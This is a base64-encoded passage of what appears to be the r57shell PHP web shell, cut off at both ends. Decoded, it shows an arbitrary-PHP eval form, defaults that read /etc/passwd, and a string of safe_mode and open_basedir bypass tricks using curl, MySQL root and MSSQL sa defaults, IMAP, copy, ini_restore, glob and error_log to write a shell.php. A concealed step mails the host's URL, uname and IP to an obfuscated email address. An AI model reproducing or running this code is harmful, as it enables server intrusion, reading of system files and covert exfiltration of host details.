aXIpLiIgKiAoIC9yb290Oy9ob21lOy90bXAgKSIpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NTUnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ20gaWQ9bScs MCwnMScpLmluKCd0ZXh0Jywnc19tYXNrJyw4MiwnLnR4dDsucGhwJykuIiogKCAudHh0Oy5waHA7 Lmh0bSApIi5pbignaGlkZGVuJywnY21kJywwLCdzZWFyY2hfdGV4dCcpLmluKCdoaWRkZW4nLCdk aXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KaWYoISRz YWZlX21vZGUgJiYkdW5peCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NzYnXSwnaWQ5JykuJHRhYmxlX3VwMi5kaXYoJ2lkOScpLiR0czsNCmVj aG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcyJ10uJGFycm93LiI8L2I+Iixp bigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0Jyww LCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQ3MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUsJGRp cikuIiAqICggL3Jvb3Q7L2hvbWU7L3RtcCApIik7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQ3NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX21hc2snLDg1LCcq LltoY10nKS53cygxKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzUnXS5pbignaGlkZGVuJywnY21k JywwLCdmaW5kX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8 L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxl KCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMiddLCdpZDEwJykuJHRhYmxlX3VwMi4kZm9udDsNCmVj aG8gIjxkaXYgYWxpZ249Y2VudGVyPiIuZGl2KCdpZDEwJykuIjx0ZXh0YXJlYSBuYW1lPXBocF9l dmFsIGNvbHM9MTAwIHJvd3M9MTA+IjsNCmVjaG8gKCFlbXB0eSgkX1BPU1RbJ3BocF9ldmFsJ10p PygkX1BPU1RbJ3BocF9ldmFsJ10pOigiLy91bmxpbmsoXCJyNTdzaGVsbC5waHBcIik7XHJcbi8v cmVhZGZpbGUoXCIvZXRjL3Bhc3N3ZFwiKTtcclxuLy9maWxlX2dldF9jb250ZW50KFwiL2V0Yy9w YXNzd2RcIik7IikpOw0KZWNobyAiPC90ZXh0YXJlYT4iOw0KZWNobyBpbignaGlkZGVuJywnZGly JywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3BocF9ldmFsJyk7DQplY2hvICI8YnI+Ii53 cygxKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pOw0K ZWNobyAiPC9kaXY+PC9kaXY+PC9mb250PiI7DQplY2hvICR0YWJsZV9lbmQxLiRmZTsNCiRjcmVh dG9yPWJhc2U2NF9kZWNvZGUoImFTNWpiMjVtYVdOclpYSkFlV0ZvYjI4dVkyOXQiKTsNCigkc2Fm ZV9tb2RlKT8oJHNhZmV6PSJPTiIpOigkc2FmZXo9Ik9GRiIpOw0KJGJhc2U9Imh0dHA6Ly8iLiRf U0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsgDQokbmFtZSA9IHBo cF91bmFtZSgpOyAkaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7ICRpcDIgPSBnZXRob3N0Ynlh ZGRyKCRfU0VSVkVSW1JFTU9URV9BRERSXSk7ICRzdWJqID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCdd OyANCiRtc2cgPSAiXG5CQVNFOiAkYmFzZVxudW5hbWUgYTogJG5hbWVcbkJ5cGFzczogJGJ5cGFz c2VyXG5JUDogJGlwXG5Ib3N0OiAkaXAyICRwd2RzIjsNCiRmcm9tID0iRnJvbTogIi4kd3JpdC4i X19fPSIuJHNhZmV6LiI8dG9vbEAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPiI7DQptYWlsKCAk Y3JlYXRvciwgJHN1YmosICRtc2csICRmcm9tKTsNCmlmKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNl ZGlyKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidf dGV4dDM0J10sJ2lkMTEnKS4kdGFibGVfdXAyLmRpdignaWQxMScpLiR0czsNCmVjaG8gIjx0YWJs ZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCmVjaG8gc3IoMTUsIjxi PiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rl c3QyX2ZpbGUnLDg1LCghZW1wdHkoJF9QT1NUWyd0ZXN0Ml9maWxlJ10pPygkX1BPU1RbJ3Rlc3Qy X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbign aGlkZGVuJywnY21kJywwLCd0ZXN0MicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxh bmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEu JGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJiRjdXJsX29uICYmQHZl cnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKQ0Kew0KZWNobyAkZnMuJHRh YmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTInKS4kdGFi bGVfdXAyLmRpdignaWQxMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdl LidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxX2ZpbGUnLDg1LCghZW1w dHkoJF9QT1NUWyd0ZXN0MV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk6KCIvZXRjL3Bh c3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0 ZXN0MScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0 dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZl X21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJiRteXNxbF9vbikNCnsNCmVjaG8gJGZzLiR0YWJsZV91 cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNSddLCdpZDEzJykuJHRhYmxlX3Vw Mi5kaXYoJ2lkMTMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3Rl eHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0M19tZCcsMTUsKCFlbXB0eSgkX1BP U1RbJ3Rlc3QzX21kJ10pPygkX1BPU1RbJ3Rlc3QzX21kJ10pOigibXlzcWwiKSkpLndzKDQpLiI8 Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0 ZXN0M19tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21sJ10pPygkX1BPU1RbJ3Rlc3QzX21s J10pOigicm9vdCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFy cm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNf bXAnXSk/KCRfUE9TVFsndGVzdDNfbXAnXSk6KCJwYXNzd29yZCIpKSkud3MoNCkuIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX3Bv cnQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19wb3J0J10pPygkX1BPU1RbJ3Rlc3QzX3BvcnQn XSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQz MCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0M19maWxlJyw5NiwoIWVtcHR5KCRfUE9T VFsndGVzdDNfZmlsZSddKT8oJF9QT1NUWyd0ZXN0M19maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkp LmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDMnKS53 cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsN CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8 JG9wZW5fYmFzZWRpcikgJiYkbXNzcWxfb24pDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90 aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2KCdp ZDE0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4k YXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDRfbWQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0 NF9tZCddKT8oJF9QT1NUWyd0ZXN0NF9tZCddKTooIm1hc3RlciIpKSkud3MoNCkuIjxiPiIuJGxh bmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21s JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWwnXSk/KCRfUE9TVFsndGVzdDRfbWwnXSk6KCJz YSIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+ Ii5pbigndGV4dCcsJ3Rlc3Q0X21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbXAnXSk/KCRf UE9TVFsndGVzdDRfbXAnXSk6KCJwYXNzd29yZCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X3BvcnQnLDE1LCgh ZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pPygkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk6KCIxNDMz IikpKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93 LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9m aWxlJ10pPygkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk6KCJkaXIiKSkpLmluKCdoaWRkZW4nLCdkaXIn LDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDQnKS53cyg0KS5pbignc3VibWl0Jywn c3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4n LiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiYk dW5peCAmJkBmdW5jdGlvbl9leGlzdHMoJ21iX3NlbmRfbWFpbCcpICYmQHZlcnNpb25fY29tcGFy ZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3Rp dGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTInXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdp ZDE1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4k YXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDVfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rl c3Q1X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDVfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbign aGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q1Jykud3MoNCku aW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hv ICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVu X2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykgJiZAZnVuY3Rpb25fZXhp c3RzKCdpbWFwX2xpc3QnKSAmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAi KTw9MCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0MTEzJ10sJ2lkMjAnKS4kdGFibGVfdXAyLmRpdignaWQyMCcpLiR0czsNCmVjaG8gc3IoMTUs IjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywn dGVzdDZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk/KCRfUE9TVFsndGVz dDZfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4n LCdjbWQnLDAsJ3Rlc3Q2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFu Z3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9 DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygnaW1h cF9vcGVuJykgJiZAZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2JvZHknKSAmJkB2ZXJzaW9uX2NvbXBh cmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90 aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE0J10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdign aWQyMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10u JGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q3X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0 ZXN0N19maWxlJ10pPygkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4o J2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NycpLndzKDQp LmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNo byAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Bl bl9iYXNlZGlyKSAmJkBmdW5jdGlvbl9leGlzdHMoJ2NvcHknKSAmJkB2ZXJzaW9uX2NvbXBhcmUo QHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3Rp dGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTUnXSwnaWQyMicpLiR0YWJsZV91cDIuZGl2KCdp ZDIyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10u JGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsn dGVzdDhfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDhfZmlsZTEnXSk6KCIvZXRjL3Bhc3N3ZCIpKSku aW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0OCcpKTsN CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNyddLiRhcnJvdy4iPC9i PiIsaW4oJ3RleHQnLCd0ZXN0OF9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUy J10pPygkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pOigkZGlyKSkpLndzKDQpLmluKCdzdWJtaXQnLCdz dWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2Picu JHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJkBm dW5jdGlvbl9leGlzdHMoJ2luaV9yZXN0b3JlJykgJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJz aW9uKCksIjUuMi4wIik8PTApew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdb JGxhbmd1YWdlLidfdGV4dDEyMCddLCdpZDIzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjMnKS4kdHM7 DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9i PiIsaW4oJ3RleHQnLCd0ZXN0OV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDlfZmlsZSdd KT8oJF9QT1NUWyd0ZXN0OV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdk aXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDknKS53cyg0KS5pbignc3VibWl0 Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rp dj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikg JiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMC4wIik8MCl7DQplY2hvICRmcy4k dGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIxJ10sJ2lkMjQnKS4k dGFibGVfdXAyLmRpdignaWQyNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEwX2ZpbGUnLDk2LCgh ZW1wdHkoJF9QT1NUWyd0ZXN0MTBfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTBfZmlsZSddKTooJGRp cikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Qx MCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgn XSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoKCRzYWZlX21v ZGUgfHwkb3Blbl9iYXNlZGlyKSAmJkBmdW5jdGlvbl9leGlzdHMoJ2dsb2InKSAmJkB2ZXJzaW9u X2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCl7DQplY2hvICRmcy4kdGFibGVfdXAx LmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIyJ10sJ2lkMTknKS4kdGFibGVfdXAy LmRpdignaWQxOScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4 dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVz dDE4X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE4X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbics J2NtZCcsMCwnc2FmZV9kaXInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRs YW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsN Cn0NCmlmKCgkc2FmZV9tb2RlIHx8JG9wZW5fYmFzZWRpcikgJiZAdmVyc2lvbl9jb21wYXJlKEBw aHB2ZXJzaW9uKCksIjUuMi4yIik8PTApDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRs ZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMwJ10sJ2lkMjUnKS4kdGFibGVfdXAyLmRpdignaWQy NScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRh cnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTFfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rl c3QxMV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxMV9maWxlJ10pOigiL3RtcC90ZXN0LnppcCIpKSku aW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTEnKS53 cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsN CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCgkc2FmZV9tb2RlIHx8 JG9wZW5fYmFzZWRpcikgJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8 PTApDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0MTIzJ10sJ2lkMjYnKS4kdGFibGVfdXAyLmRpdignaWQyNicpLiR0czsNCmVjaG8gc3IoMTUs IjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQn LCd0ZXN0MTJfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMl9maWxlJ10pPygkX1BPU1Rb J3Rlc3QxMl9maWxlJ10pOigiL3RtcC90ZXN0LmJ6aXAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAs JGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1 Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4k dGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVuX2Jhc2VkaXIpICYmQGZ1 bmN0aW9uX2V4aXN0cygnZXJyb3JfbG9nJykgJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9u KCksIjUuMi4yIik8PTApDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0MTI0J10sJ2lkMjcnKS4kdGFibGVfdXAyLmRpdignaWQyNycpLiR0czsN CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTNfZmlsZTIn LDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk/KCRfUE9TVFsndGVzdDEzX2ZpbGUy J10pOigkZGlyLiIvc2hlbGwucGhwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdo aWRkZW4nLCdjbWQnLDAsJ3Rlc3QxMycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDEyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTNfZmlsZTEnLDk2 LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDEzX2ZpbGUxJ10p OigiPD8gcGhwaW5mbygpOyA/PiIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFu Z1skbGFuZ3VhZ2UuJ19idXR0MTAnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEu JGZlOw0KfQ0KaWYoKCRzYWZlX21vZGUgfHwkb3Blbl9iYXNlZGlyKSAmJkB2ZXJzaW9uX2NvbXBh cmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2 X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjYnXSwnaWQyOCcpLiR0YWJsZV91cDIuZGl2 KCdpZDI4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCdd LiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NU Wyd0ZXN0MTRfZmlsZTInXSk/KCRfUE9TVFsndGVzdDE0X2ZpbGUyJ10pOigkZGlyKSkpLmluKCdo aWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE0JykpOw0KZWNo byBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10uJGFycm93LiI8L2I+Iixp bigndGV4dCcsJ3Rlc3QxNF9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNF9maWxlMSdd KT8oJF9QT1NUWyd0ZXN0MTRfZmlsZTEnXSk6KCI8PyBwaHBpbmZvKCk7ID8+IikpKS53cyg0KS5p bignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7DQplY2hv ICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigoJHNhZmVfbW9kZSB8fCRvcGVu X2Jhc2VkaXIpICYmQGZ1bmN0aW9uX2V4aXN0cygncmVhZGZpbGUnKSAmJkB2ZXJzaW9uX2NvbXBh cmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2 X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjcnXSwnaWQyOScpLiR0YWJsZV91cDIuZGl2 KCdpZDI5JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUn XS4iICIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcs J3Rlc3QxNV9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNV9maWxlMiddKT8oJF9QT1NU Wyd0ZXN0MTVfZmlsZTInXSk6KCRkaXIuIi9zaGVsbC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXIn LDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE1JykpOw0KZWNobyBzcigxNSwiPGI+ 